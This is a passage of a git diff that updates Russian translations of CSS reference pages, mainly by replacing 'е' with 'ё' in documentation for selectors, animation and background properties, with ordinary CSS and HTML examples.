+++ b/files/ru/web/css/_colon_where/index.html @@ -14,13 +14,13 @@ translation_of: 'Web/CSS/:where' <div></div> <pre class="brush: css notranslate"><code>/* Выбирает любой параграф внутри header, main - или footer на который наведен курсор мыши */ + или footer на который наведён курсор мыши */ :where(header, main, footer) p:hover { color: red; cursor: pointer; } -/* Пример приведенный выше эквивалентен следующему */ +/* Пример приведённый выше эквивалентен следующему */ header p:hover, main p:hover, footer p:hover { @@ -54,7 +54,7 @@ footer p:hover { <p>В этом примере показывается как работает <code>:where()</code>, а так же демонстрируется разница между <code>:where()</code> и <code>:is()</code>.</p> -<p>Возьмем следующий HTML-код:</p> +<p>Возьмём следующий HTML-код:</p> <pre class="brush: html notranslate"><article> <h2>:is()-styled links</h2> @@ -109,7 +109,7 @@ footer p:hover { color: blue; }</pre> -<p>Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри <code>:is()</code> выше, чем специфичность селектора вышеприведенного кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.</p> +<p>Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри <code>:is()</code> выше, чем специфичность селектора вышеприведённого кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.</p> <p>В то время как, селекторы перечисленные внутри <code>:where()</code> имеют нулевую специфичность, поэтому оранжевая ссылка в футере будет переопределена простым селектором и станет синего цвета.</p> diff --git a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html index 635676abae..a23502ee59 100644 --- a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html +++ b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html @@ -18,7 +18,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar' <h3 id="HTML">HTML</h3> <pre class="brush:html;"><progress value="30" max="100">30%</progress> -<progress max="100">Неопределенный бар прогресса</progress></pre> +<progress max="100">Неопределённый бар прогресса</progress></pre> <h3 id="CSS">CSS</h3> @@ -26,7 +26,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar' background-color: red; } -/* Задает неопределенным барам нулевую ширину */ +/* Задаёт неопределённым барам нулевую ширину */ :indeterminate::-moz-progress-bar { width: 0; }</pre> diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html index d0663700f2..34e36b8578 100644 --- a/files/ru/web/css/_doublecolon_slotted/index.html +++ b/files/ru/web/css/_doublecolon_slotted/index.html @@ -5,16 +5,16 @@ translation_of: 'Web/CSS/::slotted' --- <div>{{ CSSRef }}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемент</a> <strong><code>::slotted()</code></strong> представляет собой любой элемент, помещенный в слот внутри HTML-шаблона (дополнительная информация в <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>).</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемент</a> <strong><code>::slotted()</code></strong> представляет собой любой элемент, помещённый в слот внутри HTML-шаблона (дополнительная информация в <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>).</p> -<p>Это работает только при использовании внутри CSS, помещенного в <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещенный в слот; он нацелен только на фактические элементы.</p> +<p>Это работает только при использовании внутри CSS, помещённого в <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещённый в слот; он нацелен только на фактические элементы.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает любой элемент, помещенный в слот */ +<pre class="brush: css no-line-numbers notranslate">/* Выбирает любой элемент, помещённый в слот */ ::slotted(*) { font-weight: bold; } -/* Выбирает только <span>, помещенный в слот */ +/* Выбирает только <span>, помещённый в слот */ ::slotted(span) { font-weight: bold; } @@ -64,7 +64,7 @@ translation_of: 'Web/CSS/::slotted' } })</pre> -<p>Вы увидите, что при заполнении элемента <code>style</code> содержимым мы выбираем все slotted-элементы (<code>::slotted(*)</code>) и задаем им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые еще не были успешно заполнены.</p> +<p>Вы увидите, что при заполнении элемента <code>style</code> содержимым мы выбираем все slotted-элементы (<code>::slotted(*)</code>) и задаём им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые ещё не были успешно заполнены.</p> <p>Элемент выглядит следующим образом при вставке на страницу:</p> diff --git a/files/ru/web/css/adjacent_sibling_combinator/index.html b/files/ru/web/css/adjacent_sibling_combinator/index.html index 42893ac5e3..d5762bba46 100644 --- a/files/ru/web/css/adjacent_sibling_combinator/index.html +++ b/files/ru/web/css/adjacent_sibling_combinator/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator --- <p>{{CSSRef("Selectors")}}</p> -<p>Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определенным в первой части элементом.</p> +<p>Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определённым в первой части элементом.</p> <h2 id="Синтакс">Синтакс</h2> @@ -29,7 +29,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator <p>{{EmbedLiveSample('Example_1', 200, 100)}}</p> -<p>Так же может использоваться для задания стиля определенного класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:</p> +<p>Так же может использоваться для задания стиля определённого класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:</p> <pre class="brush: css">img + span.caption { font-style: italic; diff --git a/files/ru/web/css/align-items/index.html b/files/ru/web/css/align-items/index.html index 9d5a7f5843..705ea1dea0 100644 --- a/files/ru/web/css/align-items/index.html +++ b/files/ru/web/css/align-items/index.html @@ -42,10 +42,10 @@ align-items: unset; <dt><code>normal</code></dt> <dd>Эффект этого ключевого слова зависит от режима макета, в котором мы находимся:: <ul> - <li>В абсолютно позиционированных макетах ключевое слово ведет себя как <code>start</code> в <em>замененных</em> абсолютно позиционированных блоках, и как <code>stretch</code> во <em>всех других</em> абсолютно позиционированных блоках.</li> - <li>В статическом положении абсолютно позиционированных макетов ключевое слово ведет себя как <code>stretch</code>.</li> - <li>Для гибких элементов ключевое слово ведет себя как <code>stretch</code>.</li> - <li>Для элементов сетки это ключевое слово ведет к поведению, аналогичному <code>stretch</code>, за исключением полей с соотношением сторон или внутренних размеров, где оно ведет себя как <code>start</code>.</li> + <li>В абсолютно позиционированных макетах ключевое слово ведёт себя как <code>start</code> в <em>заменённых</em> абсолютно позиционированных блоках, и как <code>stretch</code> во <em>всех других</em> абсолютно позиционированных блоках.</li> + <li>В статическом положении абсолютно позиционированных макетов ключевое слово ведёт себя как <code>stretch</code>.</li> + <li>Для гибких элементов ключевое слово ведёт себя как <code>stretch</code>.</li> + <li>Для элементов сетки это ключевое слово ведёт к поведению, аналогичному <code>stretch</code>, за исключением полей с соотношением сторон или внутренних размеров, где оно ведёт себя как <code>start</code>.</li> <li>Это свойство не применяется к блокам уровня блока и к ячейкам таблицы.</li> </ul> </dd> diff --git a/files/ru/web/css/all/index.html b/files/ru/web/css/all/index.html index 632ac959d2..1510ac6c3b 100644 --- a/files/ru/web/css/all/index.html +++ b/files/ru/web/css/all/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/all <h2 id="Описание">Описание</h2> -<p>Сокращенное свойство CSS<em> </em><code><strong>all</strong></code> сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.</p> +<p>Сокращённое свойство CSS<em> </em><code><strong>all</strong></code> сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.</p> <p>{{cssinfo}}</p> @@ -78,7 +78,7 @@ blockquote { blockquote { background-color: skyblue; color: red; }</pre> {{EmbedLiveSample("ex0", "200", "125")}} -<p>{{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определенным фоном и цветом текста. Он также ведет себя как <em>block </em>элемент<em> </em>: текст, который следует за ним, находится под ним.</p> +<p>{{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определённым фоном и цветом текста. Он также ведёт себя как <em>block </em>элемент<em> </em>: текст, который следует за ним, находится под ним.</p> </div> <div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;"> diff --git a/files/ru/web/css/angle/index.html b/files/ru/web/css/angle/index.html index 782c6c4fe5..c4a228aca3 100644 --- a/files/ru/web/css/angle/index.html +++ b/files/ru/web/css/angle/index.html @@ -46,7 +46,7 @@ translation_of: Web/CSS/angle </tr> <tr> <td><img alt="Angle180.png" class="default internal" src="/@api/deki/files/5706/=Angle180.png"></td> - <td>Развернутый угол: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">≈</code><code> 3.1416rad</code></td> + <td>Развёрнутый угол: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">≈</code><code> 3.1416rad</code></td> </tr> <tr> <td><img alt="AngleMinus90.png" class="default internal" src="/@api/deki/files/5707/=AngleMinus90.png"></td> diff --git a/files/ru/web/css/animation-delay/index.html b/files/ru/web/css/animation-delay/index.html index 55e5c537eb..48c0109f18 100644 --- a/files/ru/web/css/animation-delay/index.html +++ b/files/ru/web/css/animation-delay/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-delay <p>Значение 0s, которое является значением по умолчанию, указывает на то, что анимация должна начаться непременно. В противном случае, старт анимации будет отложен на указанное время.</p> -<p>При указании отрицательного значения, анимация также начнется непременно, но ее воспроизведение начнется не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.</p> +<p>При указании отрицательного значения, анимация также начнётся непременно, но её воспроизведение начнётся не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/animation-direction/index.html b/files/ru/web/css/animation-direction/index.html index 52d0de3720..f07376ed79 100644 --- a/files/ru/web/css/animation-direction/index.html +++ b/files/ru/web/css/animation-direction/index.html @@ -7,9 +7,9 @@ translation_of: Web/CSS/animation-direction <h2 id="Описание">Описание</h2> -<p>CSS-свойство <strong><code>animation-direction</code></strong> определяет, должна ли анимация воспроизводиться вперед, назад или переменно вперед и назад.<br> +<p>CSS-свойство <strong><code>animation-direction</code></strong> определяет, должна ли анимация воспроизводиться вперёд, назад или переменно вперёд и назад.<br> <br> - <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Также удобно использовать сокращенное свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.</span></p> + <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Также удобно использовать сокращённое свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.</span></p> <p>{{cssinfo}}</p> @@ -35,7 +35,7 @@ animation-direction: unset; <dl> <dt><code>normal</code></dt> - <dd>Анимация проигрывается вперед каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в <em>начальное </em>положение и снова проигрывается. Это значение по умолчанию.</dd> + <dd>Анимация проигрывается вперёд каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в <em>начальное </em>положение и снова проигрывается. Это значение по умолчанию.</dd> <dt><code>reverse</code></dt> <dd>Анимация проигрывается наоборот, с <em>последнего </em>положения до первого и потом снова сбрасывается в <em>конечное </em>положение и снова проигрывается.</dd> <dt><code>alternate</code></dt> diff --git a/files/ru/web/css/animation-duration/index.html b/files/ru/web/css/animation-duration/index.html index 7ca194463f..65e47aea2b 100644 --- a/files/ru/web/css/animation-duration/index.html +++ b/files/ru/web/css/animation-duration/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-duration <p>Значение по умолчанию <strong><code>0s</code> </strong>определяет, что анимация не должна выполняться.</p> -<p>Удобно использовать сокращенное свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.</p> +<p>Удобно использовать сокращённое свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/animation-fill-mode/index.html b/files/ru/web/css/animation-fill-mode/index.html index 2549e3ac2d..855d8dad42 100644 --- a/files/ru/web/css/animation-fill-mode/index.html +++ b/files/ru/web/css/animation-fill-mode/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/animation-fill-mode <h2 id="Описание">Описание</h2> -<p><a href="/en/CSS" title="CSS">CSS</a> свойство <strong><code>animation-fill-mode</code></strong> определяет, как нужно применять стили к объекту анимации до и после ее выполнения.</p> +<p><a href="/en/CSS" title="CSS">CSS</a> свойство <strong><code>animation-fill-mode</code></strong> определяет, как нужно применять стили к объекту анимации до и после её выполнения.</p> <p>{{cssinfo}}</p> @@ -32,7 +32,7 @@ animation-fill-mode: both, forwards, none; <dl> <dt><code>none</code></dt> - <dd>Стили анимации не будут применены к элементу до и после ее выполнения.</dd> + <dd>Стили анимации не будут применены к элементу до и после её выполнения.</dd> <dt><code>forwards</code></dt> <dd>По окончании анимации элемент сохранит стили последнего ключевого кадра, который определяется значениями {{cssxref("animation-direction")}} и {{cssxref("animation-iteration-count")}}: <table class="standard-table"> @@ -56,22 +56,22 @@ animation-fill-mode: both, forwards, none; </tr> <tr> <td><code>alternate</code></td> - <td>четное</td> + <td>чётное</td> <td><code>0%</code> или <code>from</code></td> </tr> <tr> <td><code>alternate</code></td> - <td>нечетное</td> + <td>нечётное</td> <td><code>100%</code> или <code>to</code></td> </tr> <tr> <td><code>alternate-reverse</code></td> - <td>четное</td> + <td>чётное</td> <td><code>100%</code> или <code>to</code></td> </tr> <tr> <td><code>alternate-reverse</code></td> - <td>нечетное</td> + <td>нечётное</td> <td><code>0%</code> или <code>from</code></td> </tr> </tbody> @@ -114,8 +114,8 @@ animation-fill-mode: both, forwards, none; <pre class="brush: html"><p>Наведите курсор мыши на серый блок</p> <div class="demo"> - <div class="grows">Этот просто растет</div> - <div class="growsandstays">Этот растет и остается большим</div> + <div class="grows">Этот просто растёт</div> + <div class="growsandstays">Этот растёт и остаётся большим</div> </div></pre> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/css/animation-iteration-count/index.html b/files/ru/web/css/animation-iteration-count/index.html index 653e843e65..9039dcfedb 100644 --- a/files/ru/web/css/animation-iteration-count/index.html +++ b/files/ru/web/css/animation-iteration-count/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-iteration-count <p><a href="/ru/CSS" title="CSS">CSS</a><code><font face="Open Sans, Arial, sans-serif"> свойство </font><strong>animation-iteration-count</strong></code> определяет сколько раз будет проигрываться анимационный цикл, перед тем как остановиться.</p> -<p>Наиболее удобно использовать это свойство в сокращенном варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.</p> +<p>Наиболее удобно использовать это свойство в сокращённом варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.</p> <p>{{cssinfo}}</p> @@ -36,7 +36,7 @@ animation-iteration-count: 2, 0, infinite; <dt><code>infinite</code></dt> <dd>Анимация повторяется бесконечно.</dd> <dt><code><number></code></dt> - <dd>Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведет половину анимационного цикла).</dd> + <dd>Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведёт половину анимационного цикла).</dd> </dl> <h3 id="Правила_синтаксиса">Правила синтаксиса</h3> diff --git a/files/ru/web/css/animation-name/index.html b/files/ru/web/css/animation-name/index.html index 2e6ff16b28..a81e2e82d6 100644 --- a/files/ru/web/css/animation-name/index.html +++ b/files/ru/web/css/animation-name/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-name -<p>Часто удобно использовать сокращенное свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.</p> +<p>Часто удобно использовать сокращённое свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -40,7 +40,7 @@ animation-name: <a href="/en-US/docs/Web/CSS/unset">unset</a> <dt><code>none</code></dt> <dd>Это специальное ключевое слово, обозначающее отсутствие ключевых кадров. Оно может быть использовано для отключения анимации без изменения порядка других идентификаторов, или для отключения анимации, поступающей из каскада.</dd> <dt>{{cssxref("custom-ident","<custom-ident>")}}</dt> - <dd>Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учета регистра от <code>a</code> до <code>z</code>, цифр от <code>0</code> до <code>9</code>, подчеркивания (<code>_</code>), и/или черты (<code>-</code>). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть <code>none</code>, <code>unset</code>, <code>initial</code>, или <code>inherit</code> в любой комбинации случаев.</dd> + <dd>Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учёта регистра от <code>a</code> до <code>z</code>, цифр от <code>0</code> до <code>9</code>, подчёркивания (<code>_</code>), и/или черты (<code>-</code>). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть <code>none</code>, <code>unset</code>, <code>initial</code>, или <code>inherit</code> в любой комбинации случаев.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/animation-play-state/index.html b/files/ru/web/css/animation-play-state/index.html index 293765d1e9..fc92ee5605 100644 --- a/files/ru/web/css/animation-play-state/index.html +++ b/files/ru/web/css/animation-play-state/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/animation-play-state <p>Свойство <strong><code>animation-play-state</code></strong> определяет состояние анимации, паузы или проигрыша. Это можно использовать, чтобы определить текущее состояние анимации, например, в скриптах.</p> -<p>Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнется с начала.</p> +<p>Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнётся с начала.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/animation-timing-function/index.html b/files/ru/web/css/animation-timing-function/index.html index 5b4d0660b6..5e0e2e857d 100644 --- a/files/ru/web/css/animation-timing-function/index.html +++ b/files/ru/web/css/animation-timing-function/index.html @@ -50,7 +50,7 @@ translation_of: Web/CSS/animation-timing-function <dl> <dt><code><timingfunction></code></dt> - <dd>Каждый {{cssxref("<timing-function>")}} представляет функцию расчета времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.</dd> + <dd>Каждый {{cssxref("<timing-function>")}} представляет функцию расчёта времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/appearance/index.html b/files/ru/web/css/appearance/index.html index 3ae986fbd9..b84ac013b4 100644 --- a/files/ru/web/css/appearance/index.html +++ b/files/ru/web/css/appearance/index.html @@ -2624,7 +2624,7 @@ div{ color: black; <h2 id="Примеры">Примеры</h2> -<p>Нижеприведенный пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:</p> +<p>Нижеприведённый пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:</p> <pre class="brush: css">.exampleone { -moz-appearance: toolbarbutton; diff --git a/files/ru/web/css/at-rule/index.html b/files/ru/web/css/at-rule/index.html index 38cf88c874..f318aebe28 100644 --- a/files/ru/web/css/at-rule/index.html +++ b/files/ru/web/css/at-rule/index.html @@ -18,17 +18,17 @@ translation_of: Web/CSS/At-rule <ul> <li>{{cssxref("@charset")}} — Определяет кодировку символов, используемый таблицей стилей.</li> <li>{{cssxref("@import")}} — Сообщает движку CSS включить внешнюю таблицу стилей.</li> - <li>{{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имен XML.</li> + <li>{{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имён XML.</li> <li><strong><em>Вложенные at-правила</em></strong> — Подмножество вложенных операторов, которые могут использоваться как оператор таблицы стилей, а также внутри правил условной группы. <ul> - <li>{{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определенного с помощью медиавыражения.</li> + <li>{{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определённого с помощью медиавыражения.</li> <li>{{cssxref("@supports")}} — Условное групповое правило, которое будет применять его содержимое, если браузер соответствует критериям данного условия.</li> <li>{{cssxref("@document")}} {{experimental_inline}} — Условное групповое правило, которое будет применять его содержимое, если документ, в котором применяется таблица стилей, соответствует критериям данного условия.</li> - <li>{{cssxref("@page")}} — Описывает аспект изменений макета, который будет применен при печати документа.</li> + <li>{{cssxref("@page")}} — Описывает аспект изменений макета, который будет применён при печати документа.</li> <li>{{cssxref("@font-face")}} — Описывает аспект внешнего шрифта для загрузки.</li> <li>{{cssxref("@keyframes")}} — Описывает аспект промежуточных шагов в последовательности анимации CSS.</li> <li>{{cssxref("@viewport")}} {{experimental_inline}} — Описывает аспекты области просмотра для устройств с маленьким экраном. (в настоящее время на стадии разработки проекта)</li> - <li>{{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределенного набора стилей.</li> + <li>{{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределённого набора стилей.</li> <li>{{cssxref("@font-feature-values")}} (плюс <code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> и <code>@character-variant</code>)<br> — Определите общие имена в {{cssxref("font-option-alternates")}} для функции, которая по-разному активируется в OpenType <em>(at the Candidate Recommendation stage, but only implemented in Gecko as of writing)</em></li> </ul> @@ -45,7 +45,7 @@ translation_of: Web/CSS/At-rule <li>{{cssxref("@document")}}. <em>(deferred to Level 4 of CSS Spec) </em></li> </ul> -<p>Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределенное количество вложений.</p> +<p>Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределённое количество вложений.</p> <h2 id="Характеристики">Характеристики</h2> diff --git a/files/ru/web/css/attribute_selectors/index.html b/files/ru/web/css/attribute_selectors/index.html index 2b8ac3861c..f2affc9d98 100644 --- a/files/ru/web/css/attribute_selectors/index.html +++ b/files/ru/web/css/attribute_selectors/index.html @@ -15,15 +15,15 @@ translation_of: Web/CSS/Attribute_selectors <dt><code>[<em>attr</em>=<em>value</em>]</code></dt> <dd>Обозначает элемент с именем атрибута attr и значением в точности совпадающим с value.</dd> <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt> - <dd>Обозначает элемент с именем атрибута attr значением которого является набор слов разделенных пробелами, одно из которых в точности равно value</dd> + <dd>Обозначает элемент с именем атрибута attr значением которого является набор слов разделённых пробелами, одно из которых в точности равно value</dd> <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt> <dd>Обозначает элемент с именем атрибута attr. Его значение при этом может быть или в точности равно "value" или может начинаться с "value" со сразу же следующим "-" (U+002D). Это может быть использовано когда язык описывается с подходом.</dd> <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt> <dd>Обозначает элемент с именем атрибута attr значение которого начинается с "value"</dd> <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt> - <dd>Обозначает элемент с именем атрибута attr чье значение заканчивается на "value"</dd> + <dd>Обозначает элемент с именем атрибута attr чьё значение заканчивается на "value"</dd> <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt> - <dd>Обозначает элемент с именем атрибута attr чье значение содержит по крайней мере одно вхождение строки "value" как подстроки.</dd> + <dd>Обозначает элемент с именем атрибута attr чьё значение содержит по крайней мере одно вхождение строки "value" как подстроки.</dd> </dl> <h2 id="Example" name="Example">Пример</h2> @@ -31,13 +31,13 @@ translation_of: Web/CSS/Attribute_selectors <pre class="brush: css">/* Все span с атрибутом "lang" будут жирными */ span[lang] {font-weight:bold;} -/* Все span в Португалии будут зелеными */ +/* Все span в Португалии будут зелёными */ span[lang="pt"] {color:green;} /* Все span с американским английским будут синими */ span[lang~="en-us"] {color: blue;} -/* Любые span на китайском языке будут красными, как на упрощенном китайском (zh-CN) так и на традиционном (zh-TW) */ +/* Любые span на китайском языке будут красными, как на упрощённом китайском (zh-CN) так и на традиционном (zh-TW) */ span[lang|="zh"] {color: red;} /* Все внутренние ссылки будут иметь золотой фон */ diff --git a/files/ru/web/css/backdrop-filter/index.html b/files/ru/web/css/backdrop-filter/index.html index b971c15abd..48b9e9cc09 100644 --- a/files/ru/web/css/backdrop-filter/index.html +++ b/files/ru/web/css/backdrop-filter/index.html @@ -41,9 +41,9 @@ translation_of: Web/CSS/backdrop-filter <dl> <dt><code>none</code></dt> - <dd>Фильтр отключен для фона</dd> + <dd>Фильтр отключён для фона</dd> <dt><code><filter-function-list></code></dt> - <dd>Перечень фильтров, разделенных пробелами функций {{cssxref("<filter-function>")}} или <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">SVG фильтра</a>, которые применены для фона.</dd> + <dd>Перечень фильтров, разделённых пробелами функций {{cssxref("<filter-function>")}} или <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">SVG фильтра</a>, которые применены для фона.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/backface-visibility/index.html b/files/ru/web/css/backface-visibility/index.html index f6bf261e3b..870c9de709 100644 --- a/files/ru/web/css/backface-visibility/index.html +++ b/files/ru/web/css/backface-visibility/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/backface-visibility --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p>Свойство <strong><code>backface-visibility</code></strong> определяет, видно ли заднюю грань элемента, когда он повернут к пользователю.</p> +<p>Свойство <strong><code>backface-visibility</code></strong> определяет, видно ли заднюю грань элемента, когда он повёрнут к пользователю.</p> <div>{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}</div> @@ -30,9 +30,9 @@ backface-visibility: unset;</pre> <dl> <dt><code>visible</code></dt> - <dd>Задняя сторона видна, когда повернута к пользователю.</dd> + <dd>Задняя сторона видна, когда повёрнута к пользователю.</dd> <dt><code>hidden</code></dt> - <dd>Задняя поверхность скрыта, что делает элемент невидимым, когда он повернутый от пользователя.</dd> + <dd>Задняя поверхность скрыта, что делает элемент невидимым, когда он повёрнутый от пользователя.</dd> </dl> <h3 id="Официальный_синтаксис">Официальный синтаксис</h3> diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html index c88a2fc71d..d16e4fe743 100644 --- a/files/ru/web/css/background-attachment/index.html +++ b/files/ru/web/css/background-attachment/index.html @@ -28,7 +28,7 @@ background-attachment: inherit; background-attachment: initial; background-attachment: unset;</pre> -<p>Значение свойства <code>background-attachment</code> задается одним из ключевых значений из списка ниже.</p> +<p>Значение свойства <code>background-attachment</code> задаётся одним из ключевых значений из списка ниже.</p> <h3 id="Значения">Значения</h3> @@ -38,7 +38,7 @@ background-attachment: unset;</pre> <dt><code>local</code></dt> <dd>Фон фиксируется относительно содержимого элемента. Если элемент имеет механизм прокрутки, фон прокручивается с содержимым элемента, и область рисования фона и область позиционирования фона относятся к прокручиваемой области элемента, а не к границе, обрамляющей их.</dd> <dt><code>scroll</code></dt> - <dd>Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплен к границе элемента.)</dd> + <dd>Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплён к границе элемента.)</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -72,7 +72,7 @@ background-attachment: unset;</pre> <h3 id="Поддержка_нескольких_фоновых_изображений">Поддержка нескольких фоновых изображений</h3> -<p>Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <code><attachment></code> для каждого фона, разделенных запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.</p> +<p>Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <code><attachment></code> для каждого фона, разделённых запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.</p> <h4 id="HTML_2">HTML</h4> @@ -118,7 +118,7 @@ background-attachment: unset;</pre> <tr> <td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td> <td>{{Spec2('CSS3 Backgrounds')}}</td> - <td>Сокращенное свойство было расширено для поддержки нескольких фонов и значения <code>local</code>.</td> + <td>Сокращённое свойство было расширено для поддержки нескольких фонов и значения <code>local</code>.</td> </tr> <tr> <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td> diff --git a/files/ru/web/css/background-blend-mode/index.html b/files/ru/web/css/background-blend-mode/index.html index e55a99aa83..405a76ed14 100644 --- a/files/ru/web/css/background-blend-mode/index.html +++ b/files/ru/web/css/background-blend-mode/index.html @@ -29,7 +29,7 @@ background-blend-mode: unset; <dl> <dt><code><blend-mode></code></dt> - <dd>{{cssxref("<blend-mode>")}} обозначающий режим наложения, который применен. Может быть несколько значений, разделенных запятыми.</dd> + <dd>{{cssxref("<blend-mode>")}} обозначающий режим наложения, который применён. Может быть несколько значений, разделённых запятыми.</dd> </dl> <h2 id="Examples" name="Examples">Пример</h2> diff --git 